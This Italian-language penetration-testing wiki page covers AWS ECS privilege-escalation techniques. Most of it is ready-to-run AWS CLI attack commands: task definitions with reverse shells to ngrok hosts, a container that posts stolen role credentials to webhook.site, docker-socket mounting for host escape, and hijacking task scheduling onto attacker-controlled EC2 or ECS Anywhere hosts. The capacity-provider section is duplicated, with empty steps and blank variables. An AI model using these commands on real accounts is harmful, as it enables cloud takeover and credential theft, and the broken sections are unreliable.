# AWS - ECS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## ECS

Maggiori **informazioni su ECS** in:

{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

Un attacker che abusa del permesso `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **eseguirla**.

{{#tabs }}
{{#tab name="Reverse Shell" }}
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}

{{#tab name="Webhook" }}

Crea un webhook con un sito come webhook.site
```bash

# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

```
{{#endtab }}

{{#endtabs }}

**Impatto potenziale:** Direct privesc to a different ECS role.

### `iam:PassRole`,`ecs:RunTask`
Un attacker che ha i permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo ECS task con i valori di **execution role**, **task role** e **command** del container modificati. Il comando CLI `ecs run-task` include il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza modificare la task definition.

I ruoli IAM specificati per `taskRoleArn` e `executionRoleArn` devono avere una trust policy che permette a `ecs-tasks.amazonaws.com` di assumerli.

Inoltre, l'attacker deve conoscere:
- Nome del cluster ECS
- VPC Subnet
- Security group (Se non viene specificato alcun security group verrà utilizzato quello di default)
- Nome della Task Definition e la revisione
- Nome del Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
Nel frammento di codice sopra un attaccante sovrascrive solo il valore `taskRoleArn`. Tuttavia, l'attaccante deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella definizione del task affinché l'attacco avvenga.

Se il ruolo IAM che l'attaccante può passare ha privilegi sufficienti per effettuare il pull dell'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), allora l'attaccante può specificare lo stesso ruolo IAM sia per `executionRoleArn` che per `taskRoleArn` nel comando `ecs run-task`.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
**Impatto potenziale:** Privesc diretto a qualsiasi ECS task role.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

Proprio come nell'esempio precedente, un attacker che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **avviarla**.\
Tuttavia, in questo caso è necessario disporre di un container instance su cui eseguire la task definition malevola.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Impatto potenziale:** privesc diretto a qualsiasi ECS role.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`

Come nel precedente esempio, un attacker che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **avviarla creando un nuovo service con almeno 1 task in esecuzione.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Potential Impact:** Privesc diretto a qualsiasi ruolo ECS.

### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

In pratica, con soli quei permessi è possibile usare gli overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario, ad esempio:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Impatto potenziale:** Privesc diretto a qualsiasi ruolo ECS.

### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

Questo scenario è simile ai precedenti ma **senza** il permesso **`iam:PassRole`**.\
È comunque interessante perché se puoi eseguire un container arbitrario, anche senza un ruolo, potresti **eseguire un container privilegiato per evadere** verso il nodo e **rubare il ruolo IAM di EC2** e i **ruoli degli altri container ECS** in esecuzione nel nodo.\
Potresti persino **forzare altri task a essere eseguiti all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).

> [!WARNING]
> Questo attacco è possibile solo se il **cluster ECS usa istanze EC2** e non Fargate.
```bash
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

Un attaccante con i permessi **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **execute commands** all'interno di un container in esecuzione e exfiltrate the IAM role attached to it (è necessario il permesso describe perché serve per eseguire `aws ecs execute-command`).\
Tuttavia, per farlo, l'istanza del container deve eseguire l'**ExecuteCommand agent** (che, di default, non lo fa).

Quindi, l'attaccante potrebbe provare a:

- **Provare a eseguire un comando** in ogni container in esecuzione
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
Una volta ottenuta una shell all'interno del container, puoi tipicamente **estrarre le credenziali del ruolo del task** dall'endpoint delle credenziali del task e riutilizzarle al di fuori del container:
```sh
# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq

# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY
```
- Se ha **`ecs:RunTask`**, esegui un task con `aws ecs run-task --enable-execute-command [...]`
- Se ha **`ecs:StartTask`**, esegui un task con `aws ecs start-task --enable-execute-command [...]`
- Se ha **`ecs:CreateService`**, crea un service con `aws ecs create-service --enable-execute-command [...]`
- Se ha **`ecs:UpdateService`**, aggiorna un service con `aws ecs update-service --enable-execute-command [...]`

Puoi trovare **esempi di queste opzioni** nelle **precedenti sezioni ECS privesc**.

**Impatto potenziale:** Privesc a un ruolo diverso associato ai container.

### `ssm:StartSession`

Controlla la **ssm privesc page** per vedere come puoi abusare di questa autorizzazione per **privesc to ECS**:

{{#ref}}
../aws-ssm-privesc/README.md
{{#endref}}

### `iam:PassRole`, `ec2:RunInstances`

Controlla la **ec2 privesc page** per vedere come puoi abusare di queste autorizzazioni per **privesc to ECS**:

{{#ref}}
../aws-ec2-privesc/README.md
{{#endref}}

### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

Un attacker con queste autorizzazioni può spesso **trasformare la "cluster membership" in un bypass del perimetro di sicurezza**:

- Registrare un'**attacker-controlled EC2 instance** in un victim ECS cluster (diventando una container instance)
- Impostare custom **container instance attributes** per soddisfare le **placement constraints**
- Lasciare che ECS programmi i tasks su quell'host
- Rubare **task role credentials** (e qualsiasi secrets/dati all'interno del container) dal task in esecuzione sul tuo host

Flusso di lavoro ad alto livello:

1) Ottenere un EC2 instance identity document + signature da un EC2 instance che controlli nell'account target (per esempio via SSM/SSH):
```bash
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
```
2) Registralo nel cluster di destinazione, impostando opzionalmente gli attributi per soddisfare i vincoli di posizionamento:
```bash
aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack
```
3) Verificare che si sia unito:
```bash
aws ecs list-container-instances --cluster "$CLUSTER"
```
4) Avviare una task / aggiornare un service in modo che qualcosa venga eseguito sull'instance, quindi raccogliere i task role creds dall'interno della task:
```bash
# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
```
Note:

- Registrare una container instance usando l'instance identity document/signature implica che si abbia accesso a un'istanza EC2 nell'account di destinazione (o che una sia stata compromessa). Per lo scenario cross-account "bring your own EC2", vedere la tecnica **ECS Anywhere** in questa pagina.
- I vincoli di placement si basano comunemente sugli attributi della container instance. Enumerali tramite `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, e `ecs:DescribeContainerInstances` per sapere quali attributi è necessario impostare.


### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

> [!NOTE]
> TODO: Testare questo

Un attaccante con i permessi `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il task set primario**. Questo permette all'attaccante di **eseguire codice arbitrario all'interno del servizio**.
```bash
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potenziale impatto**: Eseguire codice arbitrario nel servizio interessato, con possibile compromissione della sua funzionalità o esfiltrazione di dati sensibili.

## Riferimenti

- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)







### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Un attaccante con permessi per gestire ECS capacity providers e aggiornare i servizi può creare un EC2 Auto Scaling Group sotto il suo controllo, incapsularlo in un ECS Capacity Provider, associarlo al cluster target e migrare un servizio vittima per usare questo provider. Le task verranno quindi programmate su istanze EC2 controllate dall'attaccante, permettendo accesso a livello OS per ispezionare i container e rubare le credenziali del task role.

Commands (us-east-1):

- Prerequisiti



- Create Launch Template for ECS agent to join target cluster



- Create Auto Scaling Group



- Create Capacity Provider from the ASG



- Associate the Capacity Provider to the cluster (optionally as default)



- Migrate a service to your provider



- Verify tasks land on attacker instances



- Facoltativo: dal nodo EC2, eseguire docker exec nei container target e leggere http://169.254.170.2 per ottenere le credenziali del task role.

- Pulizia



**Potenziale impatto:** I nodi EC2 controllati dall'attaccante ricevono le task della vittima, abilitando accesso a livello OS ai container e furto delle credenziali IAM del task role.


<details>
<summary>Comandi passo-passo (copia/incolla)</summary>
<pre>
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62
SUBNETS=

AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=

ASG_ARN=

CP_NAME=htcp-8797
aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1

SVC=
# Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment

TASK=
CI=
aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
</pre>
</details>

### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

Abusa di ECS Anywhere per registrare un host controllato dall'attaccante come istanza container EXTERNAL in un cluster ECS vittima ed eseguire task su quell'host usando task ed execution role con privilegi. Questo concede controllo a livello OS sul luogo di esecuzione delle task (la tua macchina) e permette il furto di credenziali/dati dalle task e dai volumi montati senza toccare capacity providers o ASG.

- Permessi richiesti (esempio minimo):
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (per l'instance role di ECS Anywhere e i task/execution role)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (se si usa awslogs)

- Impatto: Eseguire container arbitrari con taskRoleArn scelto sull'host dell'attaccante; esfiltrare le credenziali del task-role da 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; accedere a qualunque volume montato dalle task; meno rilevabile rispetto alla manipolazione di capacity providers/ASG.

Passaggi

1) Crea/identifica il cluster (us-east-1)
```bash
aws ecs create-cluster --cluster-name ht-ecs-anywhere
```
2) Crea ruolo ECS Anywhere e attivazione SSM (per istanza on-prem/EXTERNAL)
```bash
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
```
3) Provision attacker host e auto-registrarlo come EXTERNAL (esempio: small AL2 EC2 come “on‑prem”)

<details>
<summary>user-data.sh</summary>
```bash
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
```
</details>
```bash
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```
4) Verificare che l'istanza del container EXTERNAL si sia unita
```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```
5) Creare task/execution roles, registrare una task definition EXTERNAL e eseguirla sull'attacker host
```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role

# task def (EXTERNAL launch)
cat > td-external.json << 'JSON'
{
"family": "ht-external",
"requiresCompatibilities": [ "EXTERNAL" ],
"networkMode": "bridge",
"memory": "256",
"cpu": "128",
"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
"containerDefinitions": [
{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
"memory": 128,
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
}
]
}
JSON
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition --cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI
```
6) Da qui controlli l'host che esegue i tasks. Puoi leggere i task logs (if awslogs) o direttamente exec sull'host per exfiltrate credentials/data dai tuoi tasks.



#### Esempio di comando (segnaposti)




### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Un attacker con permessi per gestire ECS capacity providers e aggiornare services può creare un EC2 Auto Scaling Group che controlla, incapsularlo in un ECS Capacity Provider, associarlo al cluster target e migrare una victim service per usare questo provider. I tasks saranno quindi schedulati su istanze EC2 controllate dall'attacker, permettendo accesso a livello OS per ispezionare i container e rubare i task role credentials.

Comandi (us-east-1):

- Prerequisiti



- Crea Launch Template per permettere all'ECS agent di unirsi al cluster target



- Crea Auto Scaling Group



- Crea Capacity Provider dall'ASG



- Associa il Capacity Provider al cluster (opzionalmente come default)



- Migra una service al tuo provider



- Verifica che i tasks vengano eseguiti su istanze controllate dall'attacker



- Opzionale: dalla EC2 node, docker exec nei target containers e leggere http://169.254.170.2 per ottenere i task role credentials.

- Cleanup



**Potential Impact:** EC2 nodes controllate dall'attacker ricevono victim tasks, consentendo accesso a livello OS ai container e il furto delle task IAM role credentials.
{{#include ../../../../banners/hacktricks-training.md}}
